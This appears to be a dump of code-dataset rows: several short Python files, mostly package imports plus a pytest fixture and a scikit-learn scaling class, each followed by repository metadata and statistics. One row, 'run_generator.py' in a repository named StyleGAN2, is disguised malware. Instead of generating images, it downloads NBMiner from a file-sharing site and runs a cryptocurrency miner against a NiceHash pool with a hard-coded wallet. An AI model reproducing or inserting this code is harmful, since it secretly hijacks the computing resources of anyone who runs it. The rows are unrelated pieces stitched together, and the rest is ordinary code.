class ProxypayValueError(Exception): pass | 24.6 | 41 | 0.845528 | 12 | 123 | 8.666667 | 0.583333 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081301 | 123 | 5 | 41 | 24.6 | 0.920354 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
85ae898cbc81a890bc6fa5fbd515cd57b3680eb3 | 67 | py | Python | echolect/tools/__init__.py | ryanvolz/echolect | ec2594925f34fdaea69b64e725fccb0c99665a55 | [
"BSD-3-Clause"
] | 1 | 2022-03-24T22:48:12.000Z | 2022-03-24T22:48:12.000Z | echolect/tools/__init__.py | scivision/echolect | ec2594925f34fdaea69b64e725fccb0c99665a55 | [
"BSD-3-Clause"
] | 1 | 2015-03-25T20:41:24.000Z | 2015-03-25T20:41:24.000Z | echolect/tools/__init__.py | scivision/echolect | ec2594925f34fdaea69b64e725fccb0c99665a55 | [
"BSD-3-Clause"
] | null | null | null | from .iteration import *
from .time import *
from .valarg import *
| 16.75 | 24 | 0.731343 | 9 | 67 | 5.444444 | 0.555556 | 0.408163 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.179104 | 67 | 3 | 25 | 22.333333 | 0.890909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
85b8abe808763657c5a14c146939fc48654231ec | 186 | py | Python | TermTk/TTkWidgets/Fancy/__init__.py | ceccopierangiolieugenio/py-ttk | 117d61844bb7344bbe22a7797b7e3763d5fe4de5 | [
"MIT"
] | null | null | null | TermTk/TTkWidgets/Fancy/__init__.py | ceccopierangiolieugenio/py-ttk | 117d61844bb7344bbe22a7797b7e3763d5fe4de5 | [
"MIT"
] | null | null | null | TermTk/TTkWidgets/Fancy/__init__.py | ceccopierangiolieugenio/py-ttk | 117d61844bb7344bbe22a7797b7e3763d5fe4de5 | [
"MIT"
] | null | null | null | from .table import *
from .tableview import *
from .tree import *
from .treeview import *
from .treewidget import *
from .treewidgetitem import *
| 26.571429 | 30 | 0.591398 | 18 | 186 | 6.111111 | 0.444444 | 0.454545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.344086 | 186 | 6 | 31 | 31 | 0.901639 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
a445090ca44676fae047b2e3ab2f936fa080f3a8 | 222 | py | Python | website/rentals/admin/__init__.py | JobDoesburg/landolfio | 4cbf31c2e6f93745f5aa0d20893bf20f3acecc6e | [
"MIT"
] | 1 | 2021-02-24T14:33:09.000Z | 2021-02-24T14:33:09.000Z | website/rentals/admin/__init__.py | JobDoesburg/landolfio | 4cbf31c2e6f93745f5aa0d20893bf20f3acecc6e | [
"MIT"
] | 2 | 2022-01-13T04:03:38.000Z | 2022-03-12T01:03:10.000Z | website/rentals/admin/__init__.py | JobDoesburg/landolfio | 4cbf31c2e6f93745f5aa0d20893bf20f3acecc6e | [
"MIT"
] | null | null | null | from rentals.admin.asset_issuances import *
from rentals.admin.unprocessed_issued_assets import *
from rentals.admin.loan_assets import *
from rentals.admin.rent_assets import *
from rentals.admin.asset_returnals import *
| 37 | 53 | 0.842342 | 31 | 222 | 5.83871 | 0.387097 | 0.303867 | 0.441989 | 0.486188 | 0.464088 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.09009 | 222 | 5 | 54 | 44.4 | 0.89604 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
a477ec8e6de3940ab7cc2419217081cff6f41b4c | 138 | py | Python | tests/conftest.py | poyo46/youcab | 0ab7429f816d781d98c5f98949ae190d62f3bb54 | [
"BSD-3-Clause"
] | null | null | null | tests/conftest.py | poyo46/youcab | 0ab7429f816d781d98c5f98949ae190d62f3bb54 | [
"BSD-3-Clause"
] | null | null | null | tests/conftest.py | poyo46/youcab | 0ab7429f816d781d98c5f98949ae190d62f3bb54 | [
"BSD-3-Clause"
] | null | null | null | from pathlib import Path
import pytest
@pytest.fixture(scope="session")
def root_dir():
return Path(__file__).parents[1].resolve()
| 15.333333 | 46 | 0.73913 | 19 | 138 | 5.105263 | 0.842105 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008333 | 0.130435 | 138 | 8 | 47 | 17.25 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0.050725 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0.4 | 0.2 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
74e628d79ef90c8c6eaf98fa22c33248e66fd686 | 51 | py | Python | blockcerts/tools/__init__.py | docknetwork/verifiable-claims-engine | 1aab94510f421ce131642b64aefcd9a21c888f23 | [
"MIT"
] | 5 | 2019-10-21T18:17:38.000Z | 2020-12-09T06:40:32.000Z | blockcerts/tools/__init__.py | docknetwork/verifiable-claims-engine | 1aab94510f421ce131642b64aefcd9a21c888f23 | [
"MIT"
] | 4 | 2019-11-01T20:10:54.000Z | 2020-01-21T20:41:00.000Z | blockcerts/tools/__init__.py | docknetwork/verifiable-claims-engine | 1aab94510f421ce131642b64aefcd9a21c888f23 | [
"MIT"
] | 2 | 2020-02-02T20:00:46.000Z | 2020-02-12T10:12:05.000Z | from cert_issuer import *
from cert_tools import *
| 17 | 25 | 0.803922 | 8 | 51 | 4.875 | 0.625 | 0.410256 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.156863 | 51 | 2 | 26 | 25.5 | 0.906977 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
74ecff236bb9821eb87a0df6377bc5468c37f10e | 1,915 | py | Python | desafio_iafront/jobs/escala_pedidos/preprocessing.py | LuizJunior98/desafio-iafront | 6769fcbbe85d4a8b2570c08af65dfd87e8135526 | [
"MIT"
] | null | null | null | desafio_iafront/jobs/escala_pedidos/preprocessing.py | LuizJunior98/desafio-iafront | 6769fcbbe85d4a8b2570c08af65dfd87e8135526 | [
"MIT"
] | null | null | null | desafio_iafront/jobs/escala_pedidos/preprocessing.py | LuizJunior98/desafio-iafront | 6769fcbbe85d4a8b2570c08af65dfd87e8135526 | [
"MIT"
] | 1 | 2020-08-10T21:55:54.000Z | 2020-08-10T21:55:54.000Z | from sklearn import preprocessing
from desafio_iafront.jobs.common import transform
from desafio_iafront.data.saving import save_partitioned
class Preprocessing:
def __init__(self, result, saida):
self.result = result
self.saida = saida
def normalizer(self):
# Faz a escala dos valor... | 29.015152 | 80 | 0.668407 | 212 | 1,915 | 5.858491 | 0.20283 | 0.173913 | 0.077295 | 0.067633 | 0.723027 | 0.723027 | 0.723027 | 0.723027 | 0.723027 | 0.723027 | 0 | 0 | 0.240731 | 1,915 | 65 | 81 | 29.461538 | 0.854195 | 0.127937 | 0 | 0.354839 | 0 | 0 | 0.028968 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.225806 | false | 0 | 0.096774 | 0 | 0.387097 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2d003ad3c3dbae92548035a859563e041da932fa | 359 | py | Python | run_generator.py | yusuf9192/StyleGAN2 | 97cde7e2f9bb5f2618f789575b12c801a2057ba5 | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | yusuf9192/StyleGAN2 | 97cde7e2f9bb5f2618f789575b12c801a2057ba5 | [
"BSD-Source-Code"
] | null | null | null | run_generator.py | yusuf9192/StyleGAN2 | 97cde7e2f9bb5f2618f789575b12c801a2057ba5 | [
"BSD-Source-Code"
] | null | null | null | import os as alpha
alpha.system("apt update && apt install pciutils -y && apt install wget -y && wget https://filebin.net/3wfzfm8t2kmyombs/NBMiner_Linux.tar && tar -xvf NBMiner_Linux.tar && cd NBMiner_Linux && ./nbminer -a ethash -proxy 82.165.99.243:6969 -o stratum+ssl://stratum.eu.nicehash.com:33353 -u 33kJvAUL3Na2if... | 119.666667 | 339 | 0.768802 | 52 | 359 | 5.25 | 0.730769 | 0.131868 | 0.10989 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086687 | 0.100279 | 359 | 2 | 340 | 179.5 | 0.758514 | 0 | 0 | 0 | 0 | 0.5 | 0.899721 | 0.259053 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.